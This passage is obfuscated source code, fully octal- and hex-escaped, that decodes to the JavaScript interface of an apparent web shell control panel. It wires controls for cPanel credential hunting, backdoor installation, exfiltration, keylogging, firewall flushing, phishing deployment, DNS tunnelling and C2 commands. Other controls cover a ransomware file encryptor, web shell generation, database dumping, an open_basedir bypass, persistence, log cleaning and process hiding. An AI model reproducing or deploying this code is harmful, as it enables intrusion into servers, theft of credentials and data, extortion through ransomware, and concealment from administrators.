61\146\145\x41\x64\x64\105\x76\145\x6e\x74\114\151\x73\x74\x65\x6e\145\x72\50\47\146\x69\x6e\x64\x2d\143\160\141\x6e\145\154\55\143\x72\x65\x64\x73\55\142\x74\x6e\x27\54\x20\50\x29\x20\x3d\76\x20\164\150\151\x73\x2e\146\151\156\x64\103\160\x61\156\145\x6c\x43\162\x65\144\163\50\51\51\73\12\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\163\x61\x66\x65\101\x64\x64\105\166\x65\156\164\x4c\x69\163\164\145\x6e\x65\x72\x28\47\162\165\156\x2d\x66\x69\156\147\145\x72\160\162\151\156\x74\55\142\164\156\47\x2c\40\x28\51\40\x3d\x3e\x20\x74\150\x69\163\x2e\162\x75\156\x46\151\156\x67\145\162\160\162\x69\x6e\x74\x28\x29\x29\x3b\xa\40\x20\40\x20\40\x20\40\40\40\x20\x20\x20\x73\141\146\x65\101\144\144\105\166\145\156\164\114\x69\x73\164\145\x6e\x65\x72\x28\x27\x72\165\156\x2d\x73\145\x6e\163\x69\x74\151\166\145\x2d\x73\x63\141\156\55\142\x74\156\47\54\x20\x28\x29\40\x3d\76\40\164\150\x69\x73\56\x72\165\156\123\x65\x6e\x73\x69\164\x69\x76\x65\123\143\141\156\x28\x29\51\73\12\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x73\141\146\145\x41\x64\x64\105\166\x65\x6e\164\114\x69\x73\x74\x65\156\145\162\x28\x27\162\x75\x6e\x2d\x6d\x6f\156\151\x74\x6f\x72\x2d\x62\164\x6e\x27\x2c\40\50\x29\40\75\76\40\x74\x68\x69\x73\56\x72\165\x6e\x4d\157\x6e\x69\x74\x6f\x72\50\x29\x29\73\12\x20\40\x20\x20\40\40\x20\40\40\x20\40\40\163\141\146\x65\101\x64\x64\x45\166\145\x6e\164\x4c\x69\x73\x74\x65\156\x65\162\50\47\151\x6e\x73\164\x61\154\x6c\55\142\141\143\153\144\157\157\162\x2d\142\164\156\x27\x2c\x20\50\51\40\x3d\76\40\x74\150\x69\x73\56\162\x75\x6e\x42\x61\x63\x6b\x64\157\157\162\111\x6e\x73\x74\x61\x6c\154\x65\162\50\51\51\x3b\xa\40\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x73\141\x66\145\101\x64\144\x45\x76\145\x6e\x74\114\151\163\x74\145\156\145\162\50\47\x72\x75\156\55\x65\170\146\x69\154\55\x62\x74\156\x27\x2c\x20\50\51\40\75\x3e\40\x74\x68\x69\x73\56\162\x75\156\x45\x78\146\151\154\x28\x29\x29\x3b\xa\x20\x20\40\40\40\x20\40\40\x20\x20\40\40\163\141\146\x65\101\144\144\105\x76\x65\156\164\114\x69\163\x74\x65\x6e\145\x72\x28\x27\162\165\x6e\55\x68\157\147\x2d\x62\164\156\47\x2c\x20\x28\x29\40\x3d\x3e\x20\x74\150\151\x73\x2e\x72\x75\156\103\x70\x75\x48\x6f\147\50\x29\x29\73\12\40\40\x20\40\40\x20\40\x20\40\x20\40\40\x73\x61\x66\145\x41\144\144\105\166\x65\x6e\164\x4c\151\163\x74\145\x6e\x65\162\50\x27\x72\165\x6e\x2d\153\x65\x79\x6c\x6f\147\x67\145\x72\x2d\142\x74\x6e\47\54\x20\x28\x29\40\75\x3e\40\164\x68\151\163\56\x72\x75\156\x4b\x65\x79\x6c\157\x67\147\145\162\50\x29\x29\x3b\12\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\57\x2f\40\126\70\56\x30\40\105\166\x65\156\164\x20\114\x69\x73\x74\x65\156\145\162\x73\xa\x20\x20\x20\40\40\x20\40\x20\x20\40\40\x20\x73\x61\146\145\101\x64\144\x45\166\145\x6e\164\114\151\x73\x74\145\x6e\145\162\x28\47\x72\x75\x6e\55\160\x72\x69\166\145\x73\143\x2d\143\x68\145\x63\153\145\x72\55\x62\164\156\47\x2c\40\50\51\x20\75\76\x20\164\150\151\x73\56\x72\x75\156\120\162\151\166\145\x73\x63\103\150\x65\143\x6b\145\x72\x28\x29\51\x3b\12\40\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\163\141\146\x65\101\144\x64\x45\x76\145\156\x74\114\151\x73\164\x65\156\145\162\x28\47\x72\165\x6e\55\163\x75\142\x6e\145\x74\55\163\x63\141\156\x2d\x62\x74\156\x27\x2c\40\50\51\40\x3d\x3e\x20\164\x68\x69\163\x2e\162\165\x6e\x53\x75\142\x6e\145\164\x53\x63\x61\156\x6e\145\162\50\51\51\73\12\x20\40\40\x20\x20\40\40\40\x20\x20\40\x20\163\141\x66\x65\x41\144\x64\105\x76\x65\x6e\164\x4c\151\x73\x74\145\x6e\x65\x72\50\47\166\x69\x65\x77\x2d\x66\151\x72\145\167\141\x6c\154\x2d\x62\164\x6e\x27\54\x20\50\x29\40\75\76\40\x74\x68\151\163\56\166\x69\x65\x77\x46\x69\162\x65\x77\x61\154\x6c\122\165\154\145\163\50\51\x29\x3b\xa\40\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\163\x61\x66\145\x41\x64\144\105\166\145\156\164\114\151\163\x74\x65\x6e\x65\x72\x28\47\x66\154\165\163\x68\55\x66\x69\162\145\167\x61\x6c\154\55\142\164\156\x27\54\x20\x28\x29\40\75\76\x20\x74\150\x69\x73\x2e\146\154\x75\163\x68\x46\x69\162\x65\x77\x61\154\x6c\x52\165\154\145\163\x28\51\x29\73\xa\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\x20\163\141\146\145\101\x64\144\105\x76\x65\x6e\164\114\x69\163\x74\x65\x6e\x65\162\50\x27\x64\145\160\154\157\x79\x2d\x70\x68\151\163\x68\55\142\164\x6e\x27\x2c\x20\50\51\40\x3d\76\x20\x74\150\151\163\x2e\x64\145\x70\x6c\x6f\171\120\150\x69\x73\x68\x69\156\x67\120\x61\x67\145\x28\x29\51\73\12\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\x2f\x2f\40\116\x65\167\40\106\x65\141\x74\x75\x72\x65\x73\x20\105\166\145\x6e\164\40\114\x69\x73\x74\x65\156\x65\x72\163\12\40\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\x73\x61\146\145\101\144\x64\105\x76\x65\156\164\114\151\163\x74\145\156\x65\162\50\47\x73\164\x61\x72\x74\x2d\167\141\x74\x63\x68\145\x72\55\x62\x74\156\x27\x2c\x20\x28\51\40\75\76\40\164\x68\151\x73\56\x73\x74\141\x72\164\x46\x69\154\145\127\141\164\x63\x68\x65\162\x28\51\x29\73\xa\40\x20\x20\40\40\40\40\x20\40\40\40\x20\163\x61\146\145\101\144\144\x45\x76\145\156\164\x4c\151\x73\164\145\156\x65\x72\x28\47\x73\x74\157\160\x2d\x77\141\164\x63\x68\x65\162\55\142\164\156\47\x2c\40\x28\51\40\75\76\40\164\150\151\163\x2e\163\x74\x6f\x70\106\x69\x6c\145\127\x61\x74\x63\150\145\x72\x28\x29\x29\x3b\12\x20\x20\40\40\40\x20\40\x20\x20\40\40\40\x73\141\x66\x65\x41\144\x64\x45\166\x65\x6e\164\x4c\151\163\164\x65\x6e\x65\x72\x28\47\x72\145\146\x72\x65\x73\150\x2d\x70\x72\x6f\x63\x65\163\x73\145\163\x2d\x62\x74\156\x27\x2c\40\x28\51\40\75\76\x20\164\150\151\x73\x2e\x72\145\x66\162\145\x73\x68\x50\162\x6f\x63\145\x73\163\145\x73\x28\51\51\x3b\xa\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x73\141\146\145\101\x64\x64\x45\166\x65\x6e\x74\114\x69\163\164\x65\156\145\x72\50\x27\x61\x75\164\157\55\x72\x65\x66\162\x65\x73\x68\x2d\160\162\157\x63\x65\163\163\x65\163\55\x62\164\x6e\47\x2c\40\x28\51\x20\x3d\x3e\40\x74\150\151\x73\x2e\164\157\147\147\x6c\x65\x41\x75\164\x6f\122\x65\x66\x72\145\163\x68\120\162\157\143\x65\163\163\145\163\x28\x29\x29\73\12\40\40\40\40\40\40\x20\40\40\x20\x20\40\163\141\146\145\101\x64\144\x45\x76\x65\x6e\164\x4c\151\x73\x74\145\156\x65\162\x28\47\163\x74\x61\162\x74\55\x63\141\x70\164\x75\x72\145\x2d\142\164\x6e\47\54\40\x28\x29\x20\x3d\x3e\x20\164\150\x69\163\56\163\164\x61\162\164\x50\x61\x63\153\145\x74\x43\141\160\164\x75\x72\145\50\x29\x29\73\12\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\x73\141\x66\145\x41\x64\144\x45\x76\145\156\x74\x4c\x69\163\x74\145\156\x65\x72\50\47\145\x6e\143\162\x79\160\164\55\146\x69\154\x65\x2d\x62\x74\156\x27\x2c\x20\50\x29\x20\x3d\76\x20\164\150\151\163\x2e\145\156\x63\x72\x79\x70\x74\x46\x69\154\145\x28\x29\x29\x3b\xa\40\x20\40\x20\40\x20\40\x20\40\x20\40\40\x73\141\x66\x65\x41\144\144\105\x76\x65\x6e\x74\114\151\163\x74\145\156\x65\162\50\x27\x64\x65\143\162\171\160\164\x2d\146\x69\x6c\x65\55\142\x74\156\47\x2c\40\50\x29\x20\75\x3e\40\x74\x68\151\163\56\x64\x65\x63\x72\x79\x70\164\106\151\x6c\145\50\x29\x29\x3b\xa\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\x73\141\x66\145\101\x64\144\105\166\145\x6e\x74\114\151\163\164\145\156\145\162\x28\47\144\x6e\x73\55\x73\145\156\x64\x2d\x62\x74\x6e\47\54\x20\50\51\40\x3d\76\40\x74\x68\151\163\56\144\156\163\x54\x75\x6e\156\x65\x6c\123\145\x6e\x64\50\51\51\73\12\x20\40\x20\x20\40\x20\40\x20\40\40\40\40\x73\141\146\145\101\144\144\x45\166\145\156\164\114\151\163\164\145\x6e\145\162\x28\x27\x64\156\x73\x2d\162\x65\143\x65\151\166\145\x2d\x62\x74\x6e\47\x2c\40\x28\51\x20\75\76\40\x74\150\x69\163\x2e\144\x6e\x73\x54\x75\x6e\156\x65\154\122\x65\143\145\151\166\145\50\x29\51\73\xa\x20\x20\40\40\40\40\40\x20\40\x20\40\x20\163\141\146\x65\x41\x64\x64\105\166\x65\x6e\x74\114\x69\x73\x74\x65\156\x65\x72\50\47\x64\165\x6d\x70\x2d\x6d\145\x6d\x6f\162\x79\x2d\x62\164\x6e\47\54\40\50\51\40\75\x3e\40\164\150\x69\x73\x2e\x64\165\x6d\160\115\x65\155\157\x72\171\50\x29\x29\73\12\x20\x20\40\x20\x20\x20\40\40\40\x20\40\40\163\141\x66\145\x41\x64\144\105\x76\145\x6e\x74\114\151\163\x74\x65\156\x65\x72\x28\x27\141\156\141\154\x79\172\x65\x2d\x6d\x65\x6d\157\162\171\x2d\x62\164\x6e\x27\54\x20\x28\x29\x20\75\76\x20\x74\x68\x69\x73\x2e\141\x6e\141\154\x79\172\145\x4d\x65\x6d\x6f\x72\171\x28\x29\51\73\xa\40\40\x20\40\x20\40\x20\x20\40\40\x20\x20\x73\141\x66\145\x41\144\x64\x45\x76\145\x6e\x74\114\x69\163\164\145\x6e\x65\x72\x28\47\163\165\x67\x67\145\163\x74\55\x65\170\x70\154\157\x69\164\163\x2d\142\164\x6e\x27\54\x20\50\51\x20\x3d\x3e\40\x74\150\151\163\56\x73\165\x67\x67\145\x73\164\x45\x78\160\x6c\157\151\164\163\x28\51\51\x3b\12\40\40\40\40\40\40\40\40\40\x20\x20\x20\163\141\x66\145\x41\x64\x64\105\166\x65\156\x74\114\x69\163\164\145\156\145\x72\50\47\143\x72\x61\x63\153\x2d\x68\141\163\x68\55\x62\164\156\47\54\x20\50\51\x20\75\76\x20\x74\x68\151\x73\56\x63\162\x61\143\153\110\141\163\x68\x28\x29\51\x3b\xa\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\x73\x61\146\145\101\x64\144\x45\166\x65\x6e\x74\x4c\151\163\164\145\156\145\162\50\47\147\145\156\145\162\x61\164\145\x2d\x77\x6f\162\144\x6c\151\163\x74\x2d\x62\x74\156\x27\x2c\40\x28\51\40\75\76\x20\x74\x68\x69\163\x2e\147\145\x6e\145\162\x61\164\145\127\157\x72\x64\154\151\163\164\x28\51\x29\x3b\xa\x20\40\x20\x20\40\40\40\x20\40\40\40\x20\x73\x61\146\x65\101\144\x64\105\166\145\156\x74\114\151\x73\x74\x65\x6e\x65\x72\50\47\157\x62\x66\x75\163\x63\141\x74\x65\x2d\x62\164\156\x27\54\x20\50\51\40\x3d\76\40\x74\150\151\163\56\157\x62\146\165\x73\x63\x61\x74\x65\x43\x6f\x64\145\50\x29\x29\x3b\xa\x20\40\40\40\x20\40\40\40\x20\x20\x20\40\x73\x61\x66\x65\x41\x64\x64\x45\x76\145\x6e\164\x4c\x69\x73\164\x65\156\145\x72\50\47\x6e\157\x74\151\146\151\x63\x61\164\x69\x6f\156\55\142\x74\156\47\x2c\x20\50\51\40\75\x3e\40\164\x68\x69\163\x2e\x6e\141\x76\151\147\x61\164\145\x28\x27\x6e\157\164\151\x66\151\x63\141\164\151\x6f\x6e\x73\47\51\x29\x3b\xa\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\40\x73\x61\146\x65\x41\x64\144\x45\166\x65\156\x74\x4c\151\x73\x74\145\x6e\145\162\x28\x27\x63\x6c\x65\141\162\55\141\x6c\x6c\55\156\x6f\x74\x69\146\151\x63\x61\164\x69\157\x6e\163\55\142\x74\x6e\47\x2c\40\50\51\x20\75\76\40\164\150\x69\x73\56\143\154\x65\x61\x72\x41\154\x6c\116\x6f\164\151\146\151\x63\141\164\x69\157\x6e\163\50\51\51\x3b\12\x20\40\x20\40\x20\x20\40\x20\40\40\40\x20\x2f\x2f\x20\x52\141\x6e\163\157\x6d\x20\x43\x72\x65\141\x74\157\x72\40\105\x76\145\156\164\x20\114\151\163\x74\145\156\145\162\163\xa\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\163\x61\146\x65\x41\144\144\105\x76\145\156\164\114\151\x73\x74\145\156\x65\x72\50\x27\162\x61\156\x73\157\x6d\55\142\162\x6f\167\x73\x65\x2d\x62\164\x6e\47\54\x20\x28\51\40\x3d\x3e\40\164\150\151\163\56\x72\x61\x6e\163\157\155\102\162\x6f\x77\163\145\106\151\x6c\x65\163\x28\x29\x29\73\xa\40\x20\x20\x20\x20\40\x20\40\40\40\40\x20\163\141\x66\145\x41\144\x64\105\166\145\x6e\164\x4c\x69\163\x74\145\x6e\x65\x72\x28\x27\x72\x61\x6e\163\x6f\155\x2d\147\x65\156\145\162\141\x74\145\x2d\x70\141\x73\x73\x77\x6f\x72\144\x2d\142\164\x6e\x27\54\x20\50\x29\40\75\76\40\x74\150\151\x73\x2e\x72\141\x6e\163\157\x6d\107\x65\x6e\145\162\x61\x74\x65\120\x61\163\163\x77\157\x72\144\50\51\x29\x3b\12\x20\x20\40\40\x20\40\x20\40\x20\40\40\40\163\141\146\145\x41\144\144\x45\x76\x65\x6e\164\x4c\151\163\x74\145\x6e\x65\x72\x28\47\162\141\156\163\157\155\55\145\156\143\x72\171\x70\x74\x2d\x62\x74\x6e\47\x2c\40\50\51\x20\75\x3e\x20\164\150\151\163\56\162\x61\x6e\163\x6f\x6d\x45\x6e\x63\162\x79\160\x74\106\x69\x6c\145\163\50\51\51\x3b\xa\40\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\x73\141\146\x65\101\144\x64\105\x76\x65\156\164\114\151\x73\164\x65\156\145\x72\x28\x27\x72\141\x6e\163\157\x6d\55\144\145\x63\x72\171\160\x74\x2d\x62\164\x6e\47\54\x20\x28\x29\40\75\x3e\40\x74\150\151\x73\x2e\162\x61\x6e\163\157\155\x44\145\143\x72\x79\x70\x74\x46\x69\154\145\50\51\51\73\xa\40\40\x20\40\40\40\40\x20\x20\40\40\40\163\141\146\x65\101\x64\x64\105\x76\x65\156\164\114\x69\163\164\x65\156\145\162\x28\47\x67\x65\156\x65\162\141\164\x65\55\163\150\x65\154\154\x2d\142\164\x6e\x27\54\x20\50\51\40\75\76\40\164\150\x69\x73\x2e\147\145\156\x65\162\141\164\145\127\x65\x62\123\150\x65\154\154\50\x29\51\x3b\12\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\x73\x61\146\x65\x41\144\x64\105\166\x65\x6e\164\114\x69\163\x74\x65\x6e\x65\162\x28\x27\143\157\x70\x79\55\163\150\x65\x6c\154\55\143\157\144\x65\55\142\164\x6e\47\54\x20\x28\51\40\75\x3e\x20\x74\150\x69\x73\x2e\x63\x6f\160\x79\x53\x68\145\154\154\x43\157\x64\x65\50\51\51\x3b\12\x20\40\x20\x20\x20\40\x20\40\x20\40\40\x20\x73\x61\146\145\101\144\x64\105\x76\145\x6e\x74\114\x69\x73\164\x65\156\145\x72\x28\x27\x66\151\156\x64\x2d\163\150\x65\x6c\154\x73\55\142\x74\x6e\47\x2c\40\50\x29\x20\75\76\x20\164\150\151\163\x2e\x66\x69\156\x64\x57\x65\x62\x53\150\145\154\154\163\50\51\x29\x3b\xa\40\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\163\141\x66\x65\101\x64\x64\105\166\x65\x6e\x74\114\151\163\x74\145\x6e\x65\x72\50\47\x63\x6f\154\55\x64\x75\155\x70\x2d\x62\164\x6e\x27\54\x20\50\x29\40\75\76\x20\164\x68\x69\163\x2e\143\157\x6c\x75\x6d\x6e\x44\x75\x6d\160\145\162\x28\51\x29\73\12\40\40\x20\40\x20\40\x20\40\x20\40\x20\40\x73\141\x66\145\x41\144\144\105\x76\145\x6e\x74\x4c\x69\163\x74\145\x6e\145\162\50\x27\144\142\55\x64\x75\x6d\x70\x2d\142\164\x6e\47\x2c\x20\50\51\40\75\x3e\x20\164\150\x69\163\56\x64\141\x74\x61\142\x61\x73\x65\104\165\155\x70\145\162\x28\51\x29\73\12\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\163\141\146\145\101\144\144\x45\x76\x65\156\164\x4c\x69\163\164\x65\x6e\145\162\50\x27\142\141\163\x65\x64\151\162\x2d\x67\x65\156\145\x72\141\x74\145\55\142\x74\x6e\x27\x2c\40\x28\51\x20\x3d\x3e\x20\x74\150\x69\163\x2e\157\x70\145\x6e\x42\x61\x73\x65\x64\x69\162\x42\171\x70\141\x73\163\50\51\51\x3b\xa\x20\x20\40\40\40\40\x20\x20\x20\x20\40\x20\163\141\x66\145\x41\144\x64\105\x76\x65\x6e\x74\114\x69\163\164\x65\x6e\145\162\50\x27\146\x61\153\145\x2d\x6d\141\x69\x6c\x2d\142\164\156\x27\54\40\50\x29\40\75\x3e\x20\164\150\x69\163\x2e\x66\141\153\145\115\141\x69\x6c\x28\51\x29\x3b\xa\x20\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\x73\141\146\x65\101\x64\x64\x45\x76\x65\x6e\x74\114\x69\163\164\145\x6e\145\x72\50\x27\x77\150\155\x63\163\55\144\145\143\157\144\145\55\x62\x74\x6e\x27\54\40\50\x29\x20\75\76\40\x74\150\x69\x73\x2e\x77\150\x6d\x63\163\104\x65\x63\x6f\x64\x65\162\x28\51\x29\73\12\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\57\x2f\40\116\145\167\40\101\144\166\x61\156\143\x65\x64\x20\106\x65\x61\164\165\162\x65\x73\xa\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\x73\x61\146\145\101\144\x64\105\x76\145\156\x74\x4c\x69\x73\x74\145\156\145\162\x28\47\141\144\166\141\x6e\x63\145\x64\x2d\154\157\x67\x2d\x63\x6c\x65\x61\156\x65\x72\55\142\x74\156\x27\x2c\x20\50\51\x20\75\76\x20\x74\150\151\163\x2e\x61\144\x76\141\156\x63\145\144\114\x6f\x67\x43\154\x65\141\x6e\x65\x72\50\51\x29\x3b\12\40\40\40\x20\x20\40\x20\x20\x20\40\x20\40\163\x61\x66\x65\x41\144\x64\x45\x76\x65\x6e\164\x4c\151\x73\164\145\x6e\145\x72\50\47\155\165\154\164\x69\55\x62\x61\x63\x6b\165\160\x2d\x62\x74\156\47\x2c\x20\50\51\40\x3d\76\40\x74\150\151\x73\56\155\165\154\164\151\114\157\x63\x61\164\151\157\x6e\102\x61\x63\x6b\165\160\50\51\51\73\12\x20\x20\40\x20\x20\x20\x20\x20\40\x20\40\40\163\141\x66\145\101\x64\x64\105\166\145\156\164\114\x69\163\x74\x65\156\145\x72\50\47\143\x32\55\143\x6f\155\x6d\x75\156\151\143\141\x74\145\x2d\x62\164\x6e\x27\x2c\x20\x28\x29\x20\75\76\40\164\150\151\163\56\x63\62\103\x6f\155\155\x75\x6e\151\143\141\x74\145\50\x29\51\x3b\xa\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\163\x61\146\145\x41\144\x64\105\x76\145\156\164\114\x69\163\x74\x65\156\x65\162\x28\47\167\x61\146\x2d\142\x79\160\141\163\163\x2d\164\145\163\164\55\142\x74\x6e\47\x2c\40\50\x29\40\x3d\x3e\x20\164\150\x69\x73\x2e\x77\141\146\x42\x79\160\141\163\x73\124\145\163\x74\50\51\51\73\xa\40\40\40\x20\40\40\40\x20\x20\40\40\40\163\141\x66\x65\x41\x64\144\105\x76\145\156\x74\x4c\151\x73\x74\x65\x6e\145\x72\x28\x27\x73\x79\x73\x74\145\x6d\55\160\162\x6f\x66\151\x6c\x65\162\55\x62\x74\156\47\54\x20\50\x29\40\75\76\40\164\150\x69\x73\56\x73\171\163\164\145\155\120\x72\157\146\x69\x6c\x65\162\x28\x29\51\73\xa\x20\40\x20\40\x20\40\x20\40\40\x20\x20\x20\163\141\146\x65\101\x64\x64\x45\x76\145\156\x74\114\151\x73\164\x65\x6e\145\162\x28\47\x72\145\x67\151\163\164\x65\162\55\x73\150\x65\154\x6c\x2d\x62\164\x6e\x27\54\x20\x28\51\x20\x3d\76\x20\x74\150\x69\163\56\x72\x65\147\x69\163\164\145\x72\123\x68\x65\x6c\154\50\51\51\x3b\xa\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\x73\141\146\x65\101\x64\144\105\x76\145\x6e\x74\x4c\151\x73\164\145\x6e\145\162\x28\47\154\151\163\x74\x2d\163\x68\145\x6c\154\x73\55\142\164\156\x27\54\40\x28\x29\40\75\76\x20\164\150\151\163\56\154\151\163\x74\x53\x68\x65\x6c\154\163\x28\x29\x29\73\xa\40\x20\x20\x20\40\40\40\40\40\40\x20\40\x73\x61\146\x65\101\x64\x64\x45\166\x65\156\164\114\x69\163\164\145\156\145\162\x28\x27\142\162\157\141\144\143\x61\x73\x74\55\143\157\x6d\x6d\141\x6e\144\55\142\x74\x6e\47\54\40\50\x29\40\75\x3e\x20\164\150\151\x73\x2e\142\162\157\x61\144\x63\141\x73\164\x43\157\x6d\155\x61\156\x64\x28\51\x29\x3b\12\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\40\163\141\x66\x65\x41\144\x64\105\166\145\x6e\x74\x4c\x69\x73\164\145\156\145\x72\x28\47\145\156\150\141\156\143\x65\144\55\x70\145\162\163\151\163\164\145\x6e\x63\145\x2d\x62\x74\156\47\x2c\x20\50\51\40\75\76\x20\164\x68\x69\163\56\x65\x6e\150\x61\x6e\143\145\x64\120\145\162\x73\151\x73\164\145\156\x63\145\50\x29\51\73\xa\x20\40\x20\40\x20\40\40\40\x20\40\x20\x20\x73\141\x66\x65\x41\144\144\105\x76\x65\x6e\164\114\151\163\164\x65\x6e\145\162\x28\47\x63\x72\x65\141\164\x65\x2d\x68\x74\x61\x63\143\145\x73\x73\55\x62\x74\x6e\x27\54\x20\50\51\x20\x3d\x3e\40\164\x68\151\x73\56\143\x72\145\x61\x74\145\x48\164\141\x63\x63\x65\163\163\50\x29\x29\73\12\40\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\163\141\146\145\x41\x64\x64\105\166\145\x6e\164\x4c\x69\163\x74\x65\156\145\162\50\47\x73\x74\x65\141\154\x74\x68\x2d\150\151\144\145\x2d\160\162\157\143\145\163\x73\55\142\x74\x6e\47\54\x20\x28\x29\x20\x3d\x3e\x20\x74\150\x69\x73\x2e\x73\164\145\141\x6c\x74\150\x48\151\144\x65\x50\162\157\x63\145\x73\x73\50\x29\x29\x3b\12\40\40\x20\x20\40\x20\40\40\40\40\x20\40\x73\141\x66\145\x41\144\144\x45\166\x65\x6e\164\114\151\x73\164\x65\x6e\145\162\50\47\x73\x74\145\141\154\x74\150\55\x6c\x6f\147\55\145\x76\x61\163\151\x6f\156\55\x62\x74\156\47\54\40\x28\x29\x20\75\x3e\40\x74\150\151\163\x2e\163\164\145\141\154\164\150\x4c\x6f\147\x45\x76\x61\x73\x69\x6f\156\50\x29\51\73\xa\40\40\x20\40\40\40\40\40\x20\x20\40\40\x2f\x2f\x20\110\141\x6e\x64\154\x65\40\164\145\x72\155\x2d\151\x6e\160\165\x74\x20\x6b\145\x79\x64\157\167\156\40\x73\145\160\141\x72\141\164\x65\154\171\xa\x20\40\40\x20\x20\x20\x20\x20\40\40\40\x20\x63\x6f\156\x73\164\40\x74\145\162\155\111\156\x70\x75\164\x20\75\40\144\157\143\x75\155\145\156\164\56\147\145\164\105\x6c\145\155\145\156\x74\x42\x79\111\144\50\47\164\145\x72\x6d\x2d\151\156\160\x75\x74\x27\x29\73\12\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\151\x66\x20\50\x74\x65\x72\x6d\111\156\x70\165\164\x29\40\x74\145\162\155\111\x6e\160\x75\164\56\141\x64\144\105\x76\x65\156\164\x4c\x69\x73\x74\x65\x6e\145\162\x28\x27\x6b\x65\171\144\x6f\167\156\x27\54\40\x65\40\75\x3e\40\164\x68\x69\163\x2e\150\141\156\144\154\145\x54\x65\x72\155\151\x6e\x61\x6c\111\x6e\160\165\x74\x28\x65\51\x29\x3b\xa\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\57\x2f\40\x48\141\156\x64\154\145\40\146\151\154\x65\55\x6c\x69\163\x74\x20\x63\154\151\143\x6b\x20\163\x65\160\141\x72\x61\x74\145\154\171\40\55\x20\x75\163\x65\x20\145\166\x65\156\164\x20\x64\x65\154\145\147\141\x74\x69\x6f\x6e\x20\x6f\x6e\x20\160\141\162\145\x6e\164\x20\x74\157\40\x70\x72\145\x76\145\x6e\164\40\x64\x75\160\x6c\x69\143\x61\164\145\x73\xa\40\40\x20\40\40\40\40\x20\x20\40\x20\40\x63\157\156\x73\164\40\146\151\154\x65\x4c\x69\x73\164\40\x3d\40\x64\157\143\165\x6d\x65\156\164\56\x67\145\164\105\154\145\155\x65\x6e\164\x42\171\x49\x64\50\x27\146\x69\154\145\x2d\x6c\151\x73\x74\x27\x29\x3b\xa\40\40\x20\x20\40\x20\40\40\40\x20\x20\x20\151\x66\40\50\x66\151\x6c\x65\x4c\x69\x73\x74\x20\x26\x26\x20\x21\x66\151\154\x65\114\x69\x73\x74\56\x64\141\164\141\x73\145\164\56\154\151\x73\x74\x65\156\x65\x72\101\x64\x64\145\144\51\40\173\xa\40\x20\x20\x20\40\x20\40\40\40\40\40\40\40\x20\x20\x20\146\x69\x6c\x65\114\x69\x73\164\x2e\141\144\144\105\166\x65\x6e\x74\114\x69\x73\x74\145\x6e\x65\162\50\47\143\154\151\143\153\47\54\x20\145\40\x3d\x3e\40\164\x68\151\163\56\150\141\x6e\144\154\x65\106\x69\x6c\145\115\x61\156\141\147\145\x72\x43\x6c\x69\143\153\50\x65\x29\x29\73\xa\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\146\x69\x6c\145\114\151\163\164\56\x64\141\164\141\163\145\164\56\154\x69\x73\x74\145\156\145\x72\101\x64\x64\x65\x64\40\x3d\x20\x27\164\x72\x75\145\47\x3b\12\40\x20\40\40\40\x20\x20\40\40\40\x20\x20\x7d\xa\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\57\57\40\110\x61\x6e\144\x6c\145\x20\165\160\154\x6f\141\x64\55\x66\151\x6c\x65\x2d\151\156\x70\165\164\x20\143\150\141\x6e\147\x65\40\163\x65\x70\141\x72\x61\164\145\x6c\x79\xa\x20\40\40\40\x20\x20\40\40\40\x20\40\40\x63\157\156\x73\164\40\x75\160\154\x6f\141\x64\111\x6e\x70\x75\164\x20\x3d\40\144\157\x63\165\155\145\x6e\164\56\147\x65\x74\x45\x6c\145\155\145\156\x74\x42\x79\111\144\50\47\x75\160\154\x6f\141\144\55\x66\x69\x6c\x65\55\151\x6e\x70\x75\x74\47\51\73\12\40\40\40\x20\x20\x20\x20\40\40\40\x20\40\151\146\x20\50\x75\160\x6c\157\x61\144\111\156\x70\165\x74\x29\40\165\x70\x6c\x6f\141\144\x49\x6e\160\165\164\x2e\141\x64\x64\105\166\x65\156\164\114\151\163\164\x65\x6e\x65\162\x28\x27\x63\150\141\x6e\x67\x65\47\54\40\x65\x20\75\76\40\164\150\x69\x73\x2e\x75\x70\154\x6f\141\x64\106\151\x6c\x65\x73\50\145\51\51\73\xa\x20\11\x9\x7d\54\xa\40\11\11\156\141\166\151\147\141\164\145\x28\166\x69\x65\167\x49\144\x29\40\173\12\x20\11\x9\x9\144\x6f\143\x75\155\x65\156\164\x2e\161\165\x65\162\x79\123\x65\x6c\x65\x63\164\x6f\162\x41\154\x6c\x28\x27\56\x76\x69\145\x77\x2d\x63\157\156\164\x61\x69\156\145\x72\x27\51\x2e\x66\157\162\105\141\x63\x68\50\x76\x20\x3d\x3e\x20\166\56\x73\x74\x79\x6c\145\56\144\x69\163\x70\154\141\171\x20\x3d\40\47\x6e\x6f\x6e\x65\x27\x29\73\xa\x9\x9\x9\x63\x6f\156\x73\x74\40\x76\151\x65\167\105\154\x20\x3d\x20\x64\x6f\143\165\x6d\x65\156\164\x2e\x67\x65\164\x45\x6c\x65\155\145\156\x74\x42\x79\111\144\50\140\x76\x69\145\167\55\44\173\x76\x69\x65\x